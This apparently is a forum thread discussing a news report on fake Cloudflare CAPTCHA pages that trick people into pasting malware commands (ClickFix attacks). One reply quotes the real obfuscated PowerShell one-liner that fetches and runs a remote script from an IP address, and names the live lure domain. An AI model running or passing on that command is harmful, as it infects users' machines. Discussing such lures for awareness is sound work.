Hackers use Fake Cloudflare Verification Screen to Trick Users into Executing Malware (cybersecuritynews.com)
from kid@sh.itjust.works to cybersecurity@sh.itjust.works on 04 Jul 13:34
https://sh.itjust.works/post/41525180

#cybersecurity

threaded - newest

Object@sh.itjust.works on 04 Jul 13:42 next collapse

For those who want to see it in action:

dex-redirect.com

It gives you the following script:

powershell -NoExit -c “$znn=‘sggk://91.212.166.104/e/2e’;$djq=$znn.ToCharArray()|%{if($_ -cmatch ‘[a-z]’){[char](122 - ([int][char]$_ - 97))}else{$_}};$jgq=($djq -join ‘’);([ScriptBlock]::Create((Invoke-RestMethod $jgq))).Invoke();”

I can’t check what the CAPTCHA prompt says since I’m on mobile, but I’m guessing it asks you to paste it into your console.

NocturnalMorning@lemmy.world on 04 Jul 13:52 collapse

Brb, gonna go get hacked real quick…

vk6flab@lemmy.radio on 04 Jul 13:43 next collapse

This article doesn’t at all explain what actually happens. There’s a hand wavey description including PowerShell scripts and the clipboard, but it doesn’t indicate how the code gets executed.

The article talks about a complex and sophisticated attack, but I don’t see any evidence of that assertion.

Also, given that it’s talking about PowerShell, I’m going to guess that this affects Windows only.

Finally, there’s no source links, no CVE allocation, no indication what the URL looks like.

I’m going with deep scepticism about this report unless more information comes to hand.

swizzlestick@lemmy.zip on 04 Jul 14:02 next collapse

Yes, they’re glossing over the fact that the user must manually paste and execute code that the fake captcha puts on the clipboard.

Not a new attack vector in the slightest, just a play on the entry method.

Anyone doing this should have their computer taken away and head inspected/retrained.

perishthethought@piefed.social on 04 Jul 15:16 collapse

Anyone doing this should have their computer taken away and head inspected/retrained.

Or is a senior citizen or a child. Right?

swizzlestick@lemmy.zip on 04 Jul 15:21 collapse

Age regardless. Get them taught or take it for from them for their own good.

lurch@sh.itjust.works on 04 Jul 14:25 collapse

It’s so called ClickFix and FileFix atracks. They give malicious instructions on how to perform a certain task, like download a file or solve a CAPTCHA. Some swap the clipboard contents in the last moment, so the victim doesn’t even know what’s in it: mobile-hacker.com/…/introducing-filefix-a-new-alt…

lemmydividebyzero@reddthat.com on 04 Jul 21:27 next collapse

It wants you to press Win+R and the paste something, right?

moopet@sh.itjust.works on 05 Jul 19:20 collapse

I don’t understand the language used in this article. It skirts around the details, which are obviously, “tell the user to run a command and hope they do it”, and it talks about a “hardcoded BAT file”. Wat.